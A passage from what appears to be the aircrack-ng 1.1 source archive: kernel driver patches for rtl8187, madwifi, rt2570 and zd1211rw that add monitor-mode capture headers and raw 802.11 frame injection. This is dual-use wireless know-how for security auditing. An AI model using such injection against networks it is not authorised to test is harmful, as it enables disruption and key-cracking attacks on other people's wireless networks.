rtl8187_txpower/ieee80211/ieee80211-rtl.mod.c 2007-02-17 13:43:15.937531728 +0100 @@ -0,0 +1,16 @@ +#include +#include +#include + +MODULE_INFO(vermagic, VERMAGIC_STRING); + +struct module __this_module +__attribute__((section(".gnu.linkonce.this_module"))) = { + .name = KBUILD_MODNAME, +}; + +static const char __module_depends[] +__attribute_used__ +__attribute__((section(".modinfo"))) = +"depends=ieee80211_crypt"; + diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_txpower/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_rx.c 2007-02-17 13:43:15.947531879 +0100 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,83 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + + #include "ieee80211.h" static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_txpower/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac.c 2007-02-17 13:43:15.987532482 +0100 @@ -386,9 +386,8 @@ void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) { - down(&ieee->scan_sem); - short watchdog = 0; + down(&ieee->scan_sem); do{ ieee->current_network.channel = @@ -1467,12 +1466,13 @@ u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; @@ -2165,12 +2165,21 @@ ieee->wq = create_workqueue(DRV_NAME); #endif +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq); +#endif sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac_wx.c 2007-02-17 13:43:16.057533538 +0100 @@ -134,14 +134,14 @@ u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - struct sockaddr *temp = (struct sockaddr *)awrq; - + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; @@ -245,8 +245,7 @@ goto out; if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_txpower/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_tx.c 2007-02-17 13:43:16.057533538 +0100 @@ -32,7 +32,6 @@ ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,10 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + #include "ieee80211.h" @@ -458,7 +461,8 @@ ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; diff -Naur rtl8187_orig/makedrv rtl8187_txpower/makedrv --- rtl8187_orig/makedrv 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_txpower/makedrv 2007-02-17 13:42:37.616953671 +0100 @@ -5,6 +5,7 @@ cd ieee80211 make clean make +cp Module.symvers beta-8187/ cd ../beta-8187 make clean make diff -Naur rtl8187_orig/makedrvbk rtl8187_txpower/makedrvbk --- rtl8187_orig/makedrvbk 2006-09-05 07:21:10.000000000 +0200 +++ rtl8187_txpower/makedrvbk 2007-02-17 13:42:41.357010089 +0100 @@ -1,9 +1,11 @@ #!/bin/bash cd ieee80211/ +rm Module.symvers make clean make cd - +cp ieee80211/Module.symvers beta-8187/ cd beta-8187/ make clean make aircrack-ng-1.1/patches/old/madwifi-ng-r1730.patch0000644000000000000000000000174310761053203020256 0ustar rootrootdiff -ur madwifi-r1724/ath/if_ath.c patched-madwifi-r1730/ath/if_ath.c --- madwifi-r1724/ath/if_ath.c 2006-09-22 17:55:11.984375000 +0200 +++ patched-madwifi-r1724/ath/if_ath.c 2006-09-23 16:00:36.296875000 +0200 @@ -2258,6 +2258,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2274,7 +2275,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.1/patches/old/rt2570-cvs-2005112305.patch0000644000000000000000000000361510761053203020256 0ustar rootrootdiff -ur ../rt2570-cvs-2005112305/Module/rtusb_data.c ./Module/rtusb_data.c --- ../rt2570-cvs-2005112305/Module/rtusb_data.c 2005-11-04 23:53:18.000000000 +0100 +++ ./Module/rtusb_data.c 2005-11-23 14:44:16.000000000 +0100 @@ -1711,6 +1711,9 @@ struct sk_buff *skb; if ((skb = __dev_alloc_skb(2048, GFP_DMA|GFP_ATOMIC)) != NULL) { + if (pAdapter->PortCfg.MallowRFMONTx == TRUE) + goto rfmontx_80211_receive; + // setup the wlan-ng prismheader if (skb_headroom(skb) < sizeof(wlan_ng_prism2_header)) @@ -1762,6 +1765,8 @@ // end prismheader setup + rfmontx_80211_receive: + skb->dev = pAdapter->net; memcpy(skb_put(skb, pRxD->DataByteCnt-4), pData, pRxD->DataByteCnt-4); skb->mac.raw = skb->data; diff -ur ../rt2570-cvs-2005112305/Module/rtusb_info.c ./Module/rtusb_info.c --- ../rt2570-cvs-2005112305/Module/rtusb_info.c 2005-11-20 22:54:28.000000000 +0100 +++ ./Module/rtusb_info.c 2005-11-23 14:51:47.000000000 +0100 @@ -277,7 +277,10 @@ pAdapter->PortCfg.BssType=BSS_MONITOR; RTUSBEnqueueInternalCmd(pAdapter, RT_OID_LINK_DOWN); pAdapter->bConfigChanged = TRUE; - pAdapter->net->type = 802; // ARPHRD_IEEE80211_PRISM + if (pAdapter->PortCfg.MallowRFMONTx == TRUE) + pAdapter->net->type = 801; // ARPHRD_IEEE80211 + else + pAdapter->net->type = 802; // ARPHRD_IEEE80211_PRISM RTUSBWriteMACRegister(pAdapter, TXRX_CSR2, 0x4e); break; default: @@ -1132,9 +1135,11 @@ { case 1: pAdapter->PortCfg.MallowRFMONTx = TRUE; + pAdapter->net->type = 801; // ARPHRD_IEEE80211 break; case 0: pAdapter->PortCfg.MallowRFMONTx = FALSE; + pAdapter->net->type = 802; // ARPHRD_IEEE80211_PRISM break; default: return -EOPNOTSUPP; aircrack-ng-1.1/patches/old/madwifi-ng-r1713.patch0000644000000000000000000000174710761053203020263 0ustar rootrootdiff -ur madwifi-r1713/ath/if_ath.c madwifi-r1713-patched/ath/if_ath.c --- madwifi-r1713/ath/if_ath.c 2006-09-15 20:16:39.328125000 +0200 +++ madwifi-r1713-patched/ath/if_ath.c 2006-09-16 00:47:55.140625000 +0200 @@ -2253,6 +2253,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = dev->priv; + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = (struct ieee80211_phy_params *) (skb->cb + sizeof(struct ieee80211_cb)); const HAL_RATE_TABLE *rt; @@ -2269,7 +2270,11 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *) skb->data; - try0 = ph->try0; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try0; + /* + * The retry value has to be patched to 1 when injecting, + * otherwise the sequence number will be overwritten + */ rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate0); power = ph->power > 60 ? 60 : ph->power; aircrack-ng-1.1/patches/old/rt2570-cvs-20050824.patch0000644000000000000000000001113010761053203020107 0ustar rootrootdiff -ur ../rt2570-cvs-20050824/Module/mlme.c ./Module/mlme.c --- ../rt2570-cvs-20050824/Module/mlme.c 2005-08-17 11:00:39.000000000 +0200 +++ ./Module/mlme.c 2005-08-24 11:53:01.000000000 +0200 @@ -1690,7 +1690,7 @@ } else { - pAd->PortCfg.TxRate = min((INT)(pAd->PortCfg.MaxTxRate), RATE_11); + pAd->PortCfg.TxRate = min((INT)(pAd->PortCfg.MaxTxRate), RATE_5_5); } } } diff -ur ../rt2570-cvs-20050824/Module/rtusb_bulk.c ./Module/rtusb_bulk.c --- ../rt2570-cvs-20050824/Module/rtusb_bulk.c 2005-07-19 10:20:46.000000000 +0200 +++ ./Module/rtusb_bulk.c 2005-08-24 15:40:14.000000000 +0200 @@ -107,7 +107,8 @@ NdisReleaseSpinLock(&pAdapter->BulkOutLock); return; } - else if (pAdapter->MediaState == NdisMediaStateDisconnected) + else if (pAdapter->MediaState == NdisMediaStateDisconnected && + pAdapter->PortCfg.BssType != BSS_MONITOR) { // // Since there is no connection, so we need to empty the Tx Bulk out Ring. diff -ur ../rt2570-cvs-20050824/Module/rtusb_data.c ./Module/rtusb_data.c --- ../rt2570-cvs-20050824/Module/rtusb_data.c 2005-08-17 11:00:39.000000000 +0200 +++ ./Module/rtusb_data.c 2005-08-24 15:37:06.000000000 +0200 @@ -84,7 +84,8 @@ return 0; } // Drop packets if no associations - else if (!INFRA_ON(pAdapter) && !ADHOC_ON(pAdapter)) + else if (!INFRA_ON(pAdapter) && !ADHOC_ON(pAdapter) && + pAdapter->PortCfg.BssType != BSS_MONITOR) { RTUSBFreeSkbBuffer(skb); return 0; @@ -141,6 +142,14 @@ Priority = 0; AccessCategory = 0; + if (skb && pAdapter->PortCfg.BssType == BSS_MONITOR) + { + NdisAcquireSpinLock(&pAdapter->SendTxWaitQueueLock); + skb_queue_tail(&pAdapter->SendTxWaitQueue, skb); + NdisReleaseSpinLock(&pAdapter->SendTxWaitQueueLock); + return (NDIS_STATUS_SUCCESS); + } + if (skb) { Priority = skb->priority; @@ -806,6 +815,36 @@ DBGPRINT(RT_DEBUG_ERROR, "Error, Null skb data buffer!!!\n"); return (NDIS_STATUS_FAILURE); } + + if (pAdapter->PortCfg.BssType == BSS_MONITOR) + { + pTxContext = &pAdapter->TxContext[pAdapter->NextTxIndex]; + pTxContext->InUse = TRUE; + pTxContext->LastOne = TRUE; + + pAdapter->NextTxIndex++; + if (pAdapter->NextTxIndex >= TX_RING_SIZE) + pAdapter->NextTxIndex = 0; + + pTxD = &(pTxContext->TransferBuffer->TxDesc); + memset(pTxD, 0, sizeof(TXD_STRUC)); + pDest = pTxContext->TransferBuffer->WirelessPacket; + + memcpy( pDest, skb->data, skb->len ); + + RTUSBWriteTxDescriptor(pTxD, FALSE, 0, FALSE, FALSE, TRUE, IFS_BACKOFF, skb->len, FALSE, 0, CW_MIN_IN_BITS, CW_MAX_IN_BITS, skb->len + 4, pAdapter->PortCfg.TxRate, 4, pAdapter->PortCfg.TxPreambleInUsed); + + TransferBufferLength = skb->len + sizeof(TXD_STRUC); + if ((TransferBufferLength % 2) == 1) + TransferBufferLength++; + + pTxContext->BulkOutSize = TransferBufferLength; + atomic_inc(&pAdapter->TxCount); + RTUSB_SET_BULK_FLAG(pAdapter, fRTUSB_BULK_OUT_DATA_FRAG); + RTUSBFreeSkbBuffer(skb); + return (NDIS_STATUS_SUCCESS); + } + if (NdisBufferLength < 14) { DBGPRINT_RAW(RT_DEBUG_ERROR, "RTUSBHardEncrypt --> Ndis Packet buffer error !!!\n"); diff -ur ../rt2570-cvs-20050824/Module/rtusb_info.c ./Module/rtusb_info.c --- ../rt2570-cvs-20050824/Module/rtusb_info.c 2005-08-17 11:00:39.000000000 +0200 +++ ./Module/rtusb_info.c 2005-08-24 12:11:05.000000000 +0200 @@ -200,6 +200,12 @@ pAdapter->PortCfg.IbssConfig.Channel = chan; DBGPRINT(RT_DEBUG_ERROR, "<==SIOCSIWFREQ[cmd=0x%x] (Channel=%d)\n", SIOCSIWFREQ, pAdapter->PortCfg.IbssConfig.Channel); + if (pAdapter->PortCfg.BssType == BSS_MONITOR) + { + pAdapter->PortCfg.Channel = pAdapter->PortCfg.IbssConfig.Channel; + AsicSwitchChannel(pAdapter, pAdapter->PortCfg.Channel); + AsicLockChannel(pAdapter, pAdapter->PortCfg.Channel); + } return 0; } @@ -288,10 +294,15 @@ __u32 *mode, char *extra) { PRT2570ADAPTER pAdapter = (PRT2570ADAPTER) dev->priv; - if (ADHOC_ON(pAdapter)) - *mode = IW_MODE_ADHOC; + if (pAdapter->PortCfg.BssType == BSS_MONITOR) + *mode = IW_MODE_MONITOR; else - *mode = IW_MODE_INFRA; + { + if (ADHOC_ON(pAdapter)) + *mode = IW_MODE_ADHOC; + else + *mode = IW_MODE_INFRA; + } DBGPRINT(RT_DEBUG_TEMP,"--->rtusb_ioctl_giwmode\n"); return 0; } diff -ur ../rt2570-cvs-20050824/Module/sync.c ./Module/sync.c --- ../rt2570-cvs-20050824/Module/sync.c 2005-07-27 17:54:29.000000000 +0200 +++ ./Module/sync.c 2005-08-24 14:31:58.000000000 +0200 @@ -203,6 +203,9 @@ UCHAR Ssid[MAX_LEN_OF_SSID], SsidLen, ScanType, BssType; ULONG Now; + if (pAd->PortCfg.BssType == BSS_MONITOR) + return; + DBGPRINT(RT_DEBUG_INFO, "SYNC - MlmeScanReqAction\n"); #if 0 // Check the total scan tries for one single OID command aircrack-ng-1.1/patches/old/ieee80211_inject.patch0000644000000000000000000000153010761053203020313 0ustar rootrootdiff -Naur linux-source-2.6.17-orig/net/ieee80211/ieee80211_tx.c linux-source-2.6.17-rawtx/net/ieee80211/ieee80211_tx.c --- linux-source-2.6.17-orig/net/ieee80211/ieee80211_tx.c 2006-10-13 14:18:10.000000000 +0200 +++ linux-source-2.6.17-rawtx/net/ieee80211/ieee80211_tx.c 2007-04-09 17:07:45.000000000 +0200 @@ -291,6 +291,23 @@ goto success; } + if(ieee->iw_mode == IW_MODE_MONITOR) + { + txb = ieee80211_alloc_txb(1, skb->len, + ieee->tx_headroom, GFP_ATOMIC); + if (unlikely(!txb)) { + printk(KERN_WARNING "%s: Could not allocate TXB\n", + ieee->dev->name); + goto failed; + } + + txb->encrypted = 0; + txb->payload_size = skb->len; + memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); + + goto success; + } + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); crypt = ieee->crypt[ieee->tx_keyidx]; aircrack-ng-1.1/patches/old/zd1211rw_inject_2.6.17.patch0000644000000000000000000001252510761053203021124 0ustar rootrootdiff -Naur linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_mac.c linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c --- linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_mac.c 2006-10-01 18:42:47.000000000 +0200 +++ linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_mac.c 2007-04-16 01:32:09.000000000 +0200 @@ -180,7 +180,16 @@ if (r < 0) goto disable_rx; + netif_carrier_on(netdev); + ieee80211softmac_start(netdev); + + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + + return 0; disable_rx: zd_chip_disable_rx(chip); @@ -622,6 +631,7 @@ struct ieee80211_txb *txb, int frag_num) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int r; struct sk_buff *skb = txb->fragments[frag_num]; struct ieee80211_hdr_4addr *hdr = @@ -645,7 +655,10 @@ cs->tx_length = cpu_to_le16(frag_len); - cs_set_control(mac, cs, hdr); + if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else + cs_set_control(mac, cs, hdr); packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; ZD_ASSERT(packet_length <= 0xffff); @@ -690,6 +703,7 @@ static int zd_mac_tx(struct zd_mac *mac, struct ieee80211_txb *txb, int pri) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); int i, r; for (i = 0; i < txb->nr_frags; i++) { @@ -698,7 +712,10 @@ r = fill_ctrlset(mac, txb, i); if (r) return r; - r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); if (r) return r; } @@ -716,6 +733,8 @@ u8 rt_rate; u16 rt_channel; u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; } __attribute__((packed)); static void fill_rt_header(void *buffer, struct zd_mac *mac, @@ -729,7 +748,9 @@ hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | (1 << IEEE80211_RADIOTAP_CHANNEL) | - (1 << IEEE80211_RADIOTAP_RATE)); + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); hdr->rt_flags = 0; if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) @@ -743,6 +764,9 @@ hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; } /* Returns 1 if the data packet is for us and 0 otherwise. */ @@ -834,7 +858,8 @@ const struct rx_status *status; *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); - if (status->frame_status & ZD_RX_ERROR) { + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { /* FIXME: update? */ return -EINVAL; } diff -Naur linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_usb.c linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c --- linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_usb.c 2006-10-04 05:35:08.000000000 +0200 +++ linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_usb.c 2007-04-09 16:07:16.000000000 +0200 @@ -42,6 +42,7 @@ /* ZD1211B */ { USB_DEVICE(0x0ace, 0x1215), .driver_info = DEVICE_ZD1211B }, { USB_DEVICE(0x157e, 0x300d), .driver_info = DEVICE_ZD1211B }, + { USB_DEVICE(0x083a, 0x4505), .driver_info = DEVICE_ZD1211B }, {} }; @@ -805,6 +806,46 @@ return r; } +/* Puts the frame on the USB endpoint. It doesn't wait for + * completion. The frame must contain the control set. + */ +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length) +{ + int r; + struct usb_device *udev = zd_usb_to_usbdev(usb); + struct urb *urb; + void *buffer; + + urb = usb_alloc_urb(0, GFP_ATOMIC); + if (!urb) { + r = -ENOMEM; + goto out; + } + + buffer = usb_buffer_alloc(zd_usb_to_usbdev(usb), length, GFP_ATOMIC, + &urb->transfer_dma); + if (!buffer) { + r = -ENOMEM; + goto error_free_urb; + } + memcpy(buffer, frame, length); + + usb_fill_bulk_urb(urb, udev, usb_sndbulkpipe(udev, EP_DATA_OUT), + buffer, length, tx_urb_complete, NULL); + + r = usb_submit_urb(urb, GFP_ATOMIC); + if (r) + goto error; + return 0; +error: + usb_buffer_free(zd_usb_to_usbdev(usb), length, buffer, + urb->transfer_dma); +error_free_urb: + usb_free_urb(urb); +out: + return r; +} + static inline void init_usb_interrupt(struct zd_usb *usb) { struct zd_usb_interrupt *intr = &usb->intr; diff -Naur linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_usb.h linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h --- linux-source-2.6.17-orig/drivers/net/wireless/zd1211rw/zd_usb.h 2006-10-01 18:42:47.000000000 +0200 +++ linux-source-2.6.17-rawtx/drivers/net/wireless/zd1211rw/zd_usb.h 2007-04-09 16:07:21.000000000 +0200 @@ -222,6 +222,7 @@ void zd_usb_disable_rx(struct zd_usb *usb); int zd_usb_tx(struct zd_usb *usb, const u8 *frame, unsigned int length); +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length); int zd_usb_ioread16v(struct zd_usb *usb, u16 *values, const zd_addr_t *addresses, unsigned int count); aircrack-ng-1.1/patches/old/madwifi-cvs-20051025.patch0000644000000000000000000001112510761053203020562 0ustar rootrootdiff -ur ../madwifi-cvs-20051025/Makefile.inc ./Makefile.inc --- ../madwifi-cvs-20051025/Makefile.inc 2005-10-18 06:27:01.000000000 +0200 +++ ./Makefile.inc 2005-10-25 15:13:24.000000000 +0200 @@ -191,7 +191,7 @@ # #ATH_RATE=$(shell find ath_rate/ -maxdepth 1 ! -name CVS ! -name ath_rate/ -type d) ifeq ($(ATH_RATE),) -ATH_RATE=ath_rate/sample +ATH_RATE=ath_rate/onoe endif INCS= -include ${obj}/${DEPTH}/include/compat.h -I${obj}/${DEPTH}/include Only in .: Makefile.inc.orig diff -ur ../madwifi-cvs-20051025/ath/if_ath.c ./ath/if_ath.c --- ../madwifi-cvs-20051025/ath/if_ath.c 2005-10-19 06:27:51.000000000 +0200 +++ ./ath/if_ath.c 2005-10-25 15:13:24.000000000 +0200 @@ -1436,7 +1436,7 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); flags = HAL_TXDESC_INTREQ | HAL_TXDESC_CLRDMASK; - try0 = ATH_TXMAXTRY; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ATH_TXMAXTRY; dot11Rate = 0; ctsrate = 0; ctsduration = 0; @@ -1501,6 +1501,13 @@ } } + if (dot11Rate == 0 && ic->ic_opmode == IEEE80211_M_MONITOR) { + int index = sc->sc_rixmap[ic->inject_rate / 500]; + if (index >= 0 && index < rt->rateCount) { + txrate = rt->info[index].rateCode; + } + } + wh = (struct ieee80211_frame *) skb->data; pktlen = skb->len + IEEE80211_CRC_LEN; hdrlen = sizeof(struct ieee80211_frame); Only in ./ath: if_ath.c.orig diff -ur ../madwifi-cvs-20051025/ath/if_ath_pci.c ./ath/if_ath_pci.c --- ../madwifi-cvs-20051025/ath/if_ath_pci.c 2005-07-11 15:23:53.000000000 +0200 +++ ./ath/if_ath_pci.c 2005-10-25 15:15:18.000000000 +0200 @@ -100,12 +100,16 @@ { 0xa727, 0x0013, PCI_ANY_ID, PCI_ANY_ID }, /* 3com */ { 0x10b7, 0x0013, PCI_ANY_ID, PCI_ANY_ID }, /* 3com 3CRDAG675 */ { 0x168c, 0x1014, PCI_ANY_ID, PCI_ANY_ID }, /* IBM minipci 5212 */ + { 0x168c, 0x101a, PCI_ANY_ID, PCI_ANY_ID }, /* some Griffin-Lite */ { 0x168c, 0x0015, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0016, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0017, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0018, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x0019, PCI_ANY_ID, PCI_ANY_ID }, { 0x168c, 0x001a, PCI_ANY_ID, PCI_ANY_ID }, + { 0x168c, 0x001b, PCI_ANY_ID, PCI_ANY_ID }, + { 0x168c, 0x001c, PCI_ANY_ID, PCI_ANY_ID }, /* PCI Express 5424 */ + { 0x168c, 0x001d, PCI_ANY_ID, PCI_ANY_ID }, /* PCI Express ??? */ { 0 } }; diff -ur ../madwifi-cvs-20051025/net80211/ieee80211_crypto.c ./net80211/ieee80211_crypto.c --- ../madwifi-cvs-20051025/net80211/ieee80211_crypto.c 2005-07-12 13:53:38.000000000 +0200 +++ ./net80211/ieee80211_crypto.c 2005-10-25 15:13:24.000000000 +0200 @@ -299,6 +299,10 @@ oflags = key->wk_flags; flags &= IEEE80211_KEY_COMMON; + + if (cipher == IEEE80211_CIPHER_WEP) + flags |= IEEE80211_KEY_SWCRYPT; + /* * If the hardware does not support the cipher then * fallback to a host-based implementation. diff -ur ../madwifi-cvs-20051025/net80211/ieee80211_var.h ./net80211/ieee80211_var.h --- ../madwifi-cvs-20051025/net80211/ieee80211_var.h 2005-10-18 06:27:01.000000000 +0200 +++ ./net80211/ieee80211_var.h 2005-10-25 15:13:24.000000000 +0200 @@ 